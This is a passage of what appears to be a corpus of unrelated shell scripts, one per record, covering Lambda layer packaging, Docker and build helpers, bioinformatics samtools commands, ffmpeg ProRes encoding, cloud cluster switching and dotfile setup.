+\n}\n\n#clean_aws_packages () {\n# # TODO: this doesn't work because pip has no -t (target) or --path\n# # arguments to uninstall packages (only to install them)\n# site=$1\n# python -m pip uninstall -t \"$site\" -y boto3\n# python -m pip uninstall -t \"$site\" -y botocore\n# python -m pip uninstall -t \"$site\" -y dateutil\n# python -m pip uninstall -t \"$site\" -y docutils\n# python -m pip uninstall -t \"$site\" -y jmespath\n# python -m pip uninstall -t \"$site\" -y s3transfer\n# python -m pip uninstall -t \"$site\" -y six\n# python -m pip uninstall -t \"$site\" -y urllib3\n#}\n\n## TODO: find a way to archive a package file set\n#package_archive () {\n# package=$1\n# python -m pip show --files \"${package}\" > /tmp/package_files.txt\n# location=$(awk '/Location/ { print $2 }' /tmp/package_files.txt)\n# files=$(grep -E \"^\\s+\" /tmp/package_files.txt | sed \"s#${package}#${location}/${package}#g\")\n#}\n\n# Pin the AWS SDK lambda packages to the provided versions, so\n# they can be removed from lambda layers. The strategy is to\n# add the SDK libs as explicit requirements to every layer build\n# and then remove them from the build. The `create_layer_zip`\n# function will call `clean_aws_packages` to remove the AWS SDK\n# libs listed below.\n#\n# fix boto3 and botocore to the current lambda layer versions\n# https://docs.aws.amazon.com/lambda/latest/dg/lambda-python.html\n# last checked on 2020-07: boto3-1.12.49 botocore-1.15.49\n#\n# This could also help to detect when a project dependency requires a version of these\n# AWS SDK libs that is different from the lambda versions. To get this list:\n# `ls -1d /var/runtime/*.dist-info` in the lambci container. These are\n# essentially the `boto3` library and the dependency tree it requires.\n#\n# /var/runtime/boto3-1.12.49.dist-info\n# /var/runtime/botocore-1.15.49.dist-info\n# /var/runtime/docutils-0.15.2.dist-info\n# /var/runtime/jmespath-0.9.5.dist-info\n# /var/runtime/python_dateutil-2.8.1.dist-info\n# /var/runtime/s3transfer-0.3.3.dist-info\n# /var/runtime/six-1.14.0.dist-info\n# /var/runtime/urllib3-1.25.9.dist-info\n\npin_lambda_sdk () {\n requirements_file=$1\n # remove and replace all the AWS SDK libs\n sed -i '/^boto3/d' \"${requirements_file}\"\n sed -i '/^botocore/d' \"${requirements_file}\"\n sed -i '/^docutils/d' \"${requirements_file}\"\n sed -i '/^jmespath/d' \"${requirements_file}\"\n sed -i '/^python_dateutil/d' \"${requirements_file}\"\n sed -i '/^s3transfer/d' \"${requirements_file}\"\n sed -i '/^six/d' \"${requirements_file}\"\n sed -i '/^urllib3/d' \"${requirements_file}\"\n\n cat >> \"${requirements_file}\" < /dev/null || crash\n\n zip -qr9 --compression-method deflate --symlinks \"${zip_tmp}\" python\n\n ls \"${zip_tmp}\" > /dev/null || crash\n unzip -q -t \"${zip_tmp}\" || crash\n\n echo \"created ${zip_tmp}\"\n popd > /dev/null || exit 1\n\n rm -rf \"$package_dir\"\n rm -rf \"$venv_dir\"\n}"} {"text": "#!/bin/bash -x\n\nset -e\n\nTOOLCHAIN=${TOOLCHAIN:-/w/uluyol/fp-toolchain}\n\nmkdir -p bin\nwd=$PWD\ncd ../..\nenv CGO_LDFLAGS=-L$TOOLCHAIN/clang+llvm/lib go build -o \"$wd/bin\" ./go/cmd/...\nif [[ $1 == cmdsonly ]]; then\n exit\nfi\ncd \"$wd\"\nbin/deploy-heyp mk-bundle -bin ../../bazel-bin -auxbin ../../aux-bin"} {"text": "#!/bin/bash\n\n\nservice nginx restart\nservice php7.0-fpm start\nservice mysql restart \n\n# iptables 默认在docker中不允许运行的 需要加 --privileged=true 参数 \niptables -t filter -A OUTPUT -p tcp --tcp-flags ALL SYN -j DROP\niptables -t filter -A OUTPUT -p upd -j DROP \n\n\n/usr/bin/tail -f /dev/null"} {"text": "KEMTLS-SIKE/mk-cert\nrm -f *.key *.crt *.bin *.pub *.sig\nrm -rf __pycache__"} {"text": "scripts/create_run.bash\n#!/bin/bash\n\nDIR=`dirname $0`\nsource ${DIR}/style.bash || exit 1\n\nEXEC=$*\n\n# echo $#\n# [[ $# -lt 1 ]] && echo \"nope\" && exit 0;\n\necho -e \"${BLUE}${BOLD}Creating run file${DEFCLR}${NORMAL}: ${EXEC}\" \n\\rm -f run\necho '# **** This was created by the command \"make run\" and will be deleted upon \"make cleanall\" ******************' > run\nfor name in ${EXEC}\ndo\n printf \"./$name && \" >> run\ndone\necho \"echo -e \\\"${BLUE}${BOLD}All executables in `pwd` ran succesfully${DEFCLR}${NORMAL}\\\"\" >> run\nchmod a+rx run\nchmod a-w run"} {"text": "generate_physx_linux.sh10-100\n#!/bin/sh\n\ncd ./PhysX/physx\nrm -rf compiler/jni_linux-*\n./generate_projects.sh jni_linux"} {"text": "0\n# source for tiger corpus: https://www.ims.uni-stuttgart.de/forschung/ressourcen-manuell-zu-bearbeiten/korpora/TIGERCorpus/download/start.html\n\n# build\ndocker build -t dieschnittstelle/german_lemmatiser .\n\n# stop&remove existing containers\ndocker stop flfddr_german_lemmatiser\ndocker rm flfddr_german_lemmatiser\n\n# run\ndocker run -itd -p 7090:8082 --name flfddr_german_lemmatiser dieschnittstelle/german_lemmatiser"} {"text": "#!/bin/bash\nset -e\n\n# Execute Tests\ntimeout 2m bash tests/bootloader_stage1_test.sh &&\ntimeout 2m bash tests/bootloader_stage2_test.sh &&\ntimeout 2m bash tests/kernel_core_entry_test.sh &&\ntimeout 2m bash tests/fuzzy_shell_test.sh\n\n# Done\necho \"All tests passed!\""} {"text": "1-10\n#!/bin/bash\n\nMATLAB_LIB_DIR=/Applications/MATLAB_R2013b.app/bin/maci64\nMATLAB_INCLUDE_DIR=/Applications/MATLAB_R2013b.app/extern/include\n\nDEST_LIB_DIR=/Users/sdangi/code/CereLink/Matlab/lib/osx64\nDEST_INCLUDE_DIR=/Users/sdangi/code/CereLink/Matlab/include\n\nmkdir $DEST_LIB_DIR\ncp $MATLAB_LIB_DIR/libmex.dylib $DEST_LIB_DIR\ncp $MATLAB_LIB_DIR/libmx.dylib $DEST_LIB_DIR\ncp $MATLAB_LIB_DIR/libmat.dylib $DEST_LIB_DIR\n\ncp $MATLAB_INCLUDE_DIR/*.h $DEST_INCLUDE_DIR"} {"text": "PrabhuLoganathan/Prabhu-Java-Web-Crawling-Library10-100\n#!/bin/bash\n\nset -e\nset -x\n\nDIR=$(realpath $(dirname \"$0\"))\n\nprintf \"jeff:$(openssl passwd -crypt s)\" > $DIR/passwords\n\n# Start nginx.\nnginx -c \"$DIR/nginx.conf\""} {"text": "lib/environs.sh0\n#!/bin/sh\n# coding: utf-8\n\n# Directory\nROOTDIR=$HOME/.setup-project\nLIBDIR=$ROOTDIR/lib\nETCDIR=$ROOTDIR/etc\nBINDIR=$ROOTDIR/bin\nTEMPLATEDIR=$ROOTDIR/templates\n\n# Exit status\nEXIT=0\nERROR=1\nERROR_EXIST=2"} {"text": "build.sh\nmkdir -p build && cd build\n\ncmake -DCODE_COVERAGE=ON -DCMAKE_BUILD_TYPE=Debug ..\ncmake --build . --config Debug -- -j $(nproc)\ncp -r ../view ."} {"text": "davebridges/biomolecule-scripts\n#combine, sort and index a bam file\nsamtools merge -f combined.bam */accepted_hits.bam\nsamtools sort -f combined.bam combined.sorted\nsamtools index combined.sorted.bam\n\n#filter a bam file for a particular chromosome set (see http://seqanswers.com/forums/showthread.php?t=6892)\nsamtools view -h *sorted.bam | awk '$3==\"chr1\" || $3==\"chr3\" || /^@/' | samtools view -Sb -> onlychr1_3.bam.sorted.bam\n\n#calculated multi-mapped reads from a bam file (see http://seqanswers.com/forums/showpost.php?p=60498&postcount=4)\nsamtools view -F 4 file.bam | awk '{printf $1\"\\n\"}' | sort | uniq -d | wc -l"} {"text": "0\n#!/bin/sh\n\nUNROLL=../../bin/unroll\nI=I1.bool\nR=R1.bool\nP=P1.bool\nTEMPORAL=G\nk=5\nOUT=O1.qcir\nQS=AE\n\n${UNROLL} -I ${I} -R ${R} -P ${P} -k ${k} -T ${TEMPORAL} -F ${QS} -f qcir -o ${OUT}"} {"text": "pkg: mkdir -p /usr/lib\npkg: mkdir -p /usr/include\n\ncp -ra \"$(PKG_DEST_ _libtiff)\"/usr/lib/!(*.dylib) \"${PKG_DEST}\"/usr/lib\ncp -ra \"$(PKG_DEST_ _libtiff)\"/usr/include/* \"${PKG_DEST}\"/usr/include"} {"text": "#!/bin/bash\n\n#\n# Copyright (C) 2015-2018 \n# All Rights Reserved - See License\n#\n\ndoit() {\n # Defensive umask\n if [ $(umask) == '0000' ] ; then\n umask 0002\n fi\n\n if [ \"$PERLBREW_HOME\" == \"\" ] ; then\n echo \"\" >&2\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\" >&2\n echo \"You should install Perlbrew.\" >&2\n echo \"\" >&2\n echo \"The perl templates will not function properly otherwise.\" >&2\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\" >&2\n echo \"\" >&2\n\n exit 1\n fi\n\n # Check for use of Perlbrew\n which perl 2>/dev/null | grep perlbrew 2>/dev/null >/dev/null\n if [ $? -ne 0 ] ; then\n echo \"\" >&2\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\" >&2\n echo \"You should use a Perlbrew perl (perlbrew switch).\" >&2\n echo \"\" >&2\n echo \"The perl templates will not function properly otherwise.\" >&2\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\" >&2\n echo \"\" >&2\n\n exit 2\n fi\n\n cpan install App::ccdiff\n cpan install App::RouterColorizer\n cpan install CPAN\n cpan install JTM::Boilerplate\n}\n\ndoit"} {"text": "1-10\n#!/bin/bash\n\nBASEDIR=$(cd \"$(dirname \"$0\")\"; pwd)\n\nPROG_NAME=$(basename $0)\n\nBACKEND=$BASEDIR/backend\nFRONTEND=$BASEDIR/frontend\nFRONTEND_WEBJARS=$BASEDIR/frontend-webjars\nCONTAINER=webide\nexport JAVA_HOME=$(/usr/libexec/java_home -v1.8)\n\nvalid_last_cmd() {\n if [ $? -ne 0 ]; then\n exit 1\n fi\n}\n\nsub_help(){\n echo \"Usage: $PROG_NAME \"\n echo \"\"\n echo \"Subcommands:\"\n echo \" build [-t tag]\"\n echo \" run [-p port]\"\n echo \"\"\n echo \"For help with each subcommand run:\"\n echo \"$PROG_NAME -h | --help\"\n echo \"\"\n}\n\nsub_backend() {\n bakend_usage() {\n echo \"Usage: $PROG_NAME backend [clean]\"\n }\n\n case $1 in\n \"-h\" | \"--help\")\n backend_usage\n ;;\n \"clean\")\n cd $BACKEND\n mvn clean\n cd $BASEDIR\n ;;\n esac\n}\n\ndo_build_frontend() {\n cd $FRONTEND\n echo \"building frontend...\"\n yarn install\n yarn run build\n valid_last_cmd\n\n cd $FRONTEND_WEBJARS\n echo \"packing frontend....\"\n mvn clean install\n valid_last_cmd\n cd $BASEDIR\n}\n\ndo_build_backend() {\n cd $BACKEND\n echo \"mvn clean and packaging...\"\n mvn clean package -Dmaven.test.skip=true\n valid_last_cmd\n cd $BASEDIR\n}\n\nsub_build() {\n\n build_usage() {\n echo \"Usage: $PROG_NAME build [frontend | backend | run]\"\n }\n\n case $1 in\n \"-h\" | \"--help\")\n build_usage\n ;;\n \"\")\n do_build_frontend\n do_build_backend\n ;;\n \"backend\")\n do_build_backend\n ;;\n \"frontend\")\n do_build_frontend\n ;;\n \"run\") # build and run\n do_build_frontend\n do_build_backend\n do_run_backend\n ;;\n esac\n}\n\nerror() {\n printf \"${RED}ERROR:${NC} %s\\n\" \"${1}\"\n}\n\nerror_exit() {\n# echo \"---------------------------------------\"\n# error \"!!!\"\n error \"${1}\"\n# error \"!!!\"\n# echo \"---------------------------------------\"\n exit 1\n}\n\n\n\ndo_run_backend() {\n if [ ! -f $BACKEND/target/ide-backend.jar ]; then\n sub_build\n fi\n . $BASEDIR/config\n java -jar $BACKEND/target/ide-backend.jar --PTY_LIB_FOLDER=$BACKEND/src/main/resources/lib ${1}\n}\n\nsub_run() {\n local OPTIND opt\n run_usage() {\n echo \"Usage: $PROG_NAME run [-p port]\"\n }\n\n # process options\n while getopts \":p:\" opt; do\n case $opt in\n p)\n EXTRA_VARS=\"--server.port=${OPTARG}\"\n ;;\n \\?)\n run_usage\n exit 1\n ;;\n esac\n done\n\n shift $((OPTIND-1))\n\n case $1 in\n \"-h\" | \"--help\")\n run_usage\n ;;\n \"\")\n do_run_backend $EXTRA_VARS\n ;;\n esac\n}\n\n# process subcommands\nsubcommand=$1\ncase $subcommand in\n \"\" | \"-h\" | \"--help\")\n sub_help\n ;;\n *)\n shift\n\n sub_${subcommand} $@\n\n if [ $? = 127 ]; then\n echo \"Error: '$subcommand' is not a known subcommand.\" >&2\n echo \" Run '$PROG_NAME --help' for a list of known subcommands.\" >&2\n exit 1\n fi\n ;;\nesac"} {"text": "nViso/SFD\n./parse_log.sh /home/ubuntu/SSD/models/VGGNet/SFD/logs/SFD_640x640_WiderFace.log\n\ngnuplot plot_log_SFD_training.gnuplot\ngnuplot plot_log_SFD_val.gnuplot"} {"text": "0\n#!/bin/bash\nPROJECT_ID=297867\nOUTPUT_DIR=src/lang\nLANGUAGES=(\"es\" \"pt\" \"ar\" \"zh-CN\" \"ru\" \"gv\" \"mi\" \"mr\")\n\n# argument processing from https://stackoverflow.com/a/14203146\nwhile [[ $# -gt 1 ]]\ndo\nkey=\"$1\"\n\ncase $key in\n -a|--api_token)\n API_TOKEN=\"$2\"\n shift # past argument\n ;;\n -o|--output_dir)\n OUTPUT_DIR=\"$2\"\n shift # past argument\n ;;\nesac\nshift # past argument or value\ndone\n\nfor LANGUAGE in \"${LANGUAGES[@]}\"\ndo\n echo \"Requesting strings for '$LANGUAGE'...\"\n PULLARGS=\"-p $PROJECT_ID -l $LANGUAGE -o $OUTPUT_DIR -a $API_TOKEN\"\n # echo \"PULLARGS=$PULLARGS\"\n ./poeditor-scripts/strings-pull.sh $PULLARGS\n echo \"\"\ndone"} {"text": "#!/bin/sh\n\neval \"$(cat .env <(echo) <(declare -x))\"\n\ndocker-compose run --rm blogsync pull $DOMAIN"} {"text": "#!/bin/bash\n#find -maxdepth 1 -mindepth 1 -not -name .git -not -name README.md -not -name LICENSE -exec ln -sf /home/AD/tommaso.doninelli/debian-home/{} ../pippo/ \\;\n\n# Make a link on this folder to the home except for git stuff\nfind -maxdepth 1 -mindepth 1 -not -name .git -not -name README.md -not -name LICENSE -not -name install.sh -exec ln -sf ~/debian-home/{} ~ \\;\n\n# Update the bashrc\nsource ~/.bashrc\n\n# Registering git\ngit config user.email \"\"\ngit config user.name \"totomz\"\n\n# Download some cool stuff (vim and git should be already here)\napps=\" vim dnsutils mlocate libxml2-utils\"\necho \"Can I install $apps for you? (y|N)\"\nread instApp\nif [ \"$instApp\" == 'y' ]\nthen\n sudo apt-get install ${apps}\nfi\n\n# Download Xbindkeys (to control Spotify)\necho \"Install xbindkeys? (y|N)\"\nread doInst\nif [ \"$doInst\" == 'y' ] \nthen\n sudo apt-get install xbindkeys\n sudo apt-get install xbindkeys-config\n sudo apt-get install xvkbd\n xbindkeys\nfi"} {"text": "10-100\n#!/bin/bash\n\nsudo cloud-init clean || exit $?"} {"text": "#!/bin/bash\n\noc delete -f pod_helper.yaml\n\n# Add Ready nodes to the list\nnodes=$(oc get nodes -l cluster.ocs.openshift.io/openshift-storage='' --no-headers | awk '/\\yReady\\y/{print $1}')\n\nfor node in ${nodes}; do\n pod_name=$(oc get pods -n openshift-storage | grep \"${node//./}-debug\" | awk '{print $1}')\n oc delete pod -l \"$pod_name\" \"${node//./}\"-debug='ready'\ndone"} {"text": "#!/bin/bash\n\n# Echo current directory\necho; pwd; echo\n\n# Script title\necho \"This script uses FFmpeg to encode media in Apple ProRes format and save it as *.mov.\"; echo;\n\n# Check if FFmpeg exists\necho \"Checking for FFmpeg...\"; echo;\nif command -v ffmpeg >/dev/null 2>&1 ; then\n echo \"FFmpeg is installed.\"; echo;\nelse\n echo >&2 \"FFmpeg is not installed. Please install it then try again.\"; echo;\n read -n 1 -s -r -p \"Press any key to exit... \";\n exit 1;\nfi\n\n# Source media\necho \"Drag and drop the folder containing the media into this window and press enter...\"; echo;\n\n# Disable case sensitivity and error reporting for missing file types\nshopt -s nullglob\nshopt -s nocaseglob\n\n# Check for supported media files\nwhile :; do\n # Assign selected directory path to variable\n IFS=\"\" read -r input\n echo;\n\n # If on WSL use wslpath to convert windows paths to Unix\n if command -v wslpath >/dev/null 2>&1; then\n # If the path is quoted and contains a space...\n if [[ \"$input\" =~ ^\\\"(.*\\ .*)\\\"$ ]]; then\n # Remove the quotes\n input=\"${BASH_REMATCH[1]}\"\n fi\n input=\"$( wslpath \"$input\" )\"\n fi\n\n # Change directory to selected directory\n cd \"${input}\"\n\n if [[ -n $(echo *.{avi,mkv,mov,mp4,mxf}) ]]; then\n echo \"The following supported media files were found... \"; echo;\n ls -l *.{avi,mkv,mov,mp4,mxf}; echo; break\n else\n echo \"No supported media files found. Please try again... \"; echo; continue\n fi\n\ndone\n\n# Reset shell options\n# shopt -u nullglob\n# shopt -u nocaseglob\n\n# Regex for validating integers\nisInteger='^[0-9]+$'\nisNumeral='^[0-9]+([.][0-9]+)?$'\n\n# Framerate\nwhile :; do\n read -ep \"Please enter the framerate... \" framerate\n echo\n [[ $framerate =~ $isNumeral ]] || { echo \"The framerate must be a number. Please try again... \"; echo; continue; }\n break\ndone\n\n# Profile\necho \"Profile 0 : 422 Proxy\"\necho \"Profile 1 : 422 LT\"\necho \"Profile 2 : 422\"\necho \"Profile 3 : 422 HQ\"\necho\n\nwhile :; do\n read -ep \"Please enter a Profile number from 0 to 3 from the list above... \" profile\n echo\n [[ $profile =~ $isInteger ]] || { echo \"The Proilfe must be an integer number. Please try again... \"; echo; continue; }\n if (($profile >= 0 && $profile <= 3)); then\n break\n else\n echo \"The Profile must be an integer between 0 and 3. Please try again... \"\n echo\n fi\ndone\n\n# Quality Scale\nwhile :; do\n read -ep \"Please enter the Quality Scale from 0 to 32 where 9 to 13 is sane... \" qscale\n echo\n [[ $qscale =~ $isInteger ]] || { echo \"The Quality Scale must be an integer number. Please try again... \"; echo; continue; }\n if (($qscale >= 0 && $qscale <= 32)); then\n break\n else\n echo \"The Quality Scale must be an integer between 0 and 32. Please try again... \"\n echo\n fi\ndone\n\n# List all files with supported video formats\necho \"Your media will be encoded with Profile ${profile} and Quality Scale ${qscale} at ${framerate} fps...\"\necho\n\n# Pause for input\nread -n 1 -s -r -p \"Press any key to continue... \"\necho\n\n# Make directory\n\nif [ -d \"mov\" ]; then\n echo; echo \"The existing 'mov' folder in your directory will be deleted.\"; echo;\n while true; do\n read -p \"Delete? [y] / [n] \" yn\n case $yn in\n [Yy]* ) rm -rf \"mov\"; break;;\n [Nn]* ) exit 0;;\n * ) echo; echo \"Please enter 'y' for yes or 'n' for no... \" ; echo;;\n esac\n done\nfi\n\nmkdir \"mov\";\n\n# Re-encode supported video files with FFmpeg\nfor i in *.{avi,mkv,mov,mp4,mxf}\ndo\n\n # Skip file if it is a system file or symlink\n [ -f \"$i\" ] || break\n\n # Remove file extension\n j=\"${i%.*}\"\n\n # qscale 0-32 where zero is maximum quality and 9-13 are sane values\n ffmpeg -probesize 5000000 \\\n -i \"$i\" \\\n -r $framerate \\\n -c:v prores_ks \\\n -profile:v $profile \\\n -pix_fmt yuv422p10le \\\n -qscale:v $qscale \\\n -c:a pcm_s16le \\\n -y \"mov/${j}.mov\" || { echo; echo \"FFmpeg could not finish for some reason.\"; echo; read -n 1 -s -r -p \"Press any key to exit... \"; exit 1; }\n\n echo; echo \"${i} was re-encoded and saved as ${j}.mov in 'mov/'.\"; echo;\n\ndone\n\necho \"The following files were saved in a folder called 'mov' in the same directory as your source files:\"\necho\nls -l mov/*.mov\necho\n\n# Pause\nread -n 1 -s -r -p \"Finished re-encoding all files. Press any key to exit... \"\necho\n\nexit 0"} {"text": "rossumai/keras-multi-gpu\n# time ./benchmark_inception3_resnet50_az-4x-m60.sh 2>&1 |tee -a benchmark_inception3_resnet50_results_az-4x-m60.txt\nset -x\n\npip freeze |grep Keras\npip freeze |grep tensorflow\n\nfor ARCH in inception3 resnet50; do\n for METHOD in fchollet avolkov1 kuza55; do\n RUN=\"python ../../keras_tf_multigpu/examples/benchmark_inception3_resnet50.py -a $ARCH -m $METHOD\"\n CUDA_VISIBLE_DEVICES=0 $RUN -g 1\n CUDA_VISIBLE_DEVICES=0,1 $RUN -g 2 -p cpu\n CUDA_VISIBLE_DEVICES=0,1 $RUN -g 2 -p gpu\n CUDA_VISIBLE_DEVICES=0,1,2 $RUN -g 3 -p cpu\n CUDA_VISIBLE_DEVICES=0,1,2 $RUN -g 3 -p gpu\n CUDA_VISIBLE_DEVICES=0,1,2,3 $RUN -g 4 -p cpu\n CUDA_VISIBLE_DEVICES=0,1,2,3 $RUN -g 4 -p gpu\n done\ndone"} {"text": "#!/bin/bash\n\ncd \"$(dirname \"$BASH_SOURCE\")\" \\\n && source 'utils.sh'\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nmain() {\n\n declare -r OS=\"$(get_os)\"\n\n if [ \"$OS\" == 'osx' ]; then\n ./os_x/preferences/main.sh\n elif [ \"$OS\" == 'ubuntu' ]; then\n ./ubuntu/preferences/main.sh\n fi\n\n}\n\nmain"} {"text": "# Shell variables\n# Generated by 'wal'\nwallpaper='/home/reorr/Pictures/solid_bg/kanna.png'\n\n# Special\nbackground='#fefbfd'\nforeground='#755891'\ncursor='#755891'\n\n# Colors\ncolor0='#fefbfd'\ncolor1='#D2A7B8'\ncolor2='#B6A4D2'\ncolor3='#E7D0B6'\ncolor4='#D3B2CB'\ncolor5='#CCADD7'\ncolor6='#ECB8CD'\ncolor7='#755891'\ncolor8='#968c94'\ncolor9='#D2A7B8'\ncolor10='#B6A4D2'\ncolor11='#E7D0B6'\ncolor12='#D3B2CB'\ncolor13='#CCADD7'\ncolor14='#ECB8CD'\ncolor15='#755891'\n\n# FZF colors\nexport FZF_DEFAULT_OPTS=\"\n $FZF_DEFAULT_OPTS\n --color fg:7,bg:0,hl:1,fg+:232,bg+:1,hl+:255\n --color info:7,prompt:2,spinner:1,pointer:232,marker:1\n\"\n\n# Fix LS_COLORS being unreadable.\nexport LS_COLORS=\"${LS_COLORS}:su=30;41:ow=30;42:st=30;44:\""} {"text": "collections/installation_rh-fam/prepare/google_chrome_repo.f21.sh\n#!/bin/sh -e\n#\n# prepare: this\n# job: none\n# finalize: none\n#\ncat << EOF > /etc/yum.repos.d/google-chrome.repo\n[google-chrome]\nname=google-chrome - \\$basearch\nbaseurl=http://dl.google.com/linux/chrome/rpm/stable/\\$basearch\nenabled=1\ngpgcheck=1\ngpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub\nEOF"} {"text": "#!/bin/sh\n\n_build_musl_ncurses() { # 1 - output\n\t_out=\"out\"; [ -n \"$1\" ] && _out=\"$1\"; _out=\"${BUILD_DIR}/${_out}\"\n\t_name=\"ncurses-${NCURSES_VERSION}\"\n\t_msg \"downloading ${_name}\"\n\t_fetch_and_extract \"ncurses\" \"${NCURSES_VERSION}\" \"https://ftp.gnu.org/pub/gnu/ncurses/\"\n\t_msg \"configuring ${_name}\"\n\tCC='gcc -static' CFLAGS='-fPIC' \\\n\tCXX='g++ -static' CXXFLAGS='-fPIC' \\\n\t./configure --prefix=\"${_out}\" --disable-shared --enable-static || _err \"configure\"\n\t_msg \"building ${_name}\"\n\tmake || _err \"make\"\n\t_msg \"installing ${_name}\"\n\tmake install || _err \"make install\"\n}"} {"text": "1-10\n#!/usr/bin/env bash\n\nput $auth '/group/datastammen' '{\n \"groupId\": \"datastammen\",\n \"description\": \"\",\n \"roles\": [\"\"]\n}' 201\n\nfor user in \"trygve.falch\" \\\n \"kim.gaarder\" \\\n \"magnus.jenssen\" \\\n \"hadrien.kohl\" \\\n \"rune.lind\" \\\n \"marianne.mellem\" \\\n \"mehran.raja\" \\\n \"ove.ranheim\" \\\n \"kenneth.schulstad\" \\\n \"bjorn.skaar\" \\\n \"oyvind.strommen\" \\\n \"arild.takvam-borge\" \\\n \"rannveig.aasen\"; do\n\n put $auth \"/role/user.$user\" '{\n \"roleId\": \"user.'$user'\",\n \"description\": \"\",\n \"privileges\": {\n \"includes\": []\n },\n \"paths\": {\n \"includes\": [\"/user/'$user'/\"]\n },\n \"maxValuation\": \"SENSITIVE\",\n \"states\": {\n \"excludes\": [\"RAW\"]\n }\n }' 201\n\n put $auth \"/user/$user@ssb.no\" '{\n \"userId\": \"'$user'@ssb.no\",\n \"roles\": [\"user.'$user'\"],\n \"groups\": [\"felles\", \"datastammen\"]\n }' 201\ndone"} {"text": "dermesser/localmr\n#!/bin/bash\n\n# This script generates 11 files with random alphanumeric strings.\n# Those are used by certain tests to test and measure the performance of\n# sharded sort implementations.\n\nfor I in {0..10}; do\n cat /dev/urandom | tr -dc \"\\n[:alnum:]\" | egrep '[[:alnum:]]{15,}' | colrm 16 | head -n 1000000 | sort > sorted${I}.txt;\ndone"} {"text": "ci/destroy-pipeline.sh\n#!/bin/bash\n# RESTful-API-test destroy-pipeline.sh\n\nfly -t ci destroy-pipeline --pipeline RESTful-API-test"} {"text": "1-10\n#!/bin/sh\n\nT=\"$1\"\n\nfor h in \\\n\t*.txt *.html \\\n\thowto/*.txt howto/*.html \\\n\ttechnical/*.txt technical/*.html \\\n\tRelNotes/*.txt *.css\ndo\n\tif test ! -f \"$h\"\n\tthen\n\t\t: did not match\n\telif test -f \"$T/$h\" &&\n\t\t$DIFF -u -I'^Last updated ' \"$T/$h\" \"$h\"\n\tthen\n\t\t:; # up to date\n\telse\n\t\techo >&2 \"# install $h $T/$h\"\n\t\trm -f \"$T/$h\"\n\t\tmkdir -p `dirname \"$T/$h\"`\n\t\tcp \"$h\" \"$T/$h\"\n\tfi\ndone\nstrip_leading=`echo \"$T/\" | sed -e 's|.|.|g'`\nfor th in \\\n\t\"$T\"/*.html \"$T\"/*.txt \\\n\t\"$T\"/howto/*.txt \"$T\"/howto/*.html \\\n\t\"$T\"/technical/*.txt \"$T\"/technical/*.html\ndo\n\th=`expr \"$th\" : \"$strip_leading\"'\\(.*\\)'`\n\tcase \"$h\" in\n\tRelNotes-*.txt | index.html) continue ;;\n\tesac\n\ttest -f \"$h\" && continue\n\techo >&2 \"# rm -f $th\"\n\trm -f \"$th\"\ndone\nln -sf git.html \"$T/index.html\""} {"text": "JensSkipr/UbuntuSetup\n#!/usr/bin/env bash\n\n# Bash strict mode\n# http://redsymbol.net/articles/unofficial-bash-strict-mode/\nset -euo pipefail\nIFS=$'\\n\\t'\n\n# Connect to correct cluster\ncase $1 in\n # Skipr\n \"staging\")\n gcloud container clusters get-credentials skipr-api-development --zone europe-west1-d --project albert-183412\n ;;\n\n \"skipr-production\")\n gcloud container clusters get-credentials skipr-production --zone europe-west1-d --project albert-183412\n ;;\n\n # ISP's\n \"bal-production\")\n gcloud container clusters get-credentials production --zone europe-west1-d --project bal-production\n ;;\n\n \"delbe-production\")\n gcloud container clusters get-credentials production --zone europe-west1-d --project delbe-production\n ;;\n\n \"erbe-production\")\n gcloud container clusters get-credentials edenred-production --zone europe-west1-d --project edenred-production\n ;;\n\n \"smbe-staging\")\n gcloud container clusters get-credentials development --zone europe-west1-d --project smbe-development\n ;;\n\n \"smbe-production\")\n gcloud container clusters get-credentials production --zone europe-west1-d --project smbe-production-eu\n ;;\n\n *)\n echo \"Unknown ENV: $1\"\n exit \n ;;\nesac"} {"text": "#!/bin/bash\n# File: LAUNCH.sh\n# Date: 28-Jun-2020\n#\n# Example uvicorn deployment on non-privileged port.\n#\n# nohup ./scripts/LAUNCH.sh >& LOGLAUNCH\n##\nHERE=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\nTOPDIR=\"$(dirname \"$HERE\")\"\nOE_LICENSE=${OE_LICENSE:=~/oe_license.txt}\necho \"HERE=${HERE}\"\necho \"TOPDIR=${TOPDIR}\"\necho \"OE_LICENSE=$OE_LICENSE\"\n#\n\nTHISIP=${HOSTIP:=\"127.0.0.1\"}\nTHISPORT=${HOSTPORT:=\"8000\"}\n#\nunset CHEM_SEARCH_DATA_HOSTNAME\nunset CHEM_SEARCH_DATA_PATH\nexport CHEM_SEARCH_CC_PREFIX=\"cc-full\"\nexport CHEM_SEARCH_CACHE_PATH=${TOPDIR}/CACHE\nexport CHEM_DEPICT_CACHE_PATH=${TOPDIR}/CACHE\n#\ncd ${TOPDIR}\npython3 -m uvicorn --host ${THISIP} --port ${THISPORT} --reload rcsb.app.chem.main:app"} {"text": "go test -c || exit -1\nsudo iptables -A OUTPUT -p udp --dport 9999 --sport 9999 -j NFQUEUE --queue-num 0\nsudo ./go-nfq.test\nsudo iptables -D OUTPUT -p udp --dport 9999 --sport 9999 -j NFQUEUE --queue-num 0"} {"text": "fbuild.sh0\ndocker build -f faas.Docker -t qhduan/ocr-faas . && \\\ndocker push qhduan/ocr-faas"} {"text": "#!/bin/bash\n# By \n#=#=#=\n# Converts wma to mp3 recursively. does not delete any static files, so \n# cleanup and renaming is needed afterwards. \n#\n# **requirements:**\n#\n# * [lame](http://lame.sourceforge.net/download.php)\n# * mplayer\n# * `apt-get install mplayer` or download from [here](http://www.mplayerhq.hu/design7/dload.html)\n#=#=\n\nif [ \"$1\" = '-h' ]; then\n usage_all \"$0\"\n exit 0\nfi\n\ncurrent_directory=$(pwd)\nwma_files=$(find \"${current_directory}\" -type f -iname \"*.wma\")\n# Need to change IFS or files with filenames containing spaces will not\n# be handled correctly by for loop\nIFS=$'\\n'\nfor wma_file in ${wma_files}; do \n mplayer -vo null -vc dummy -af 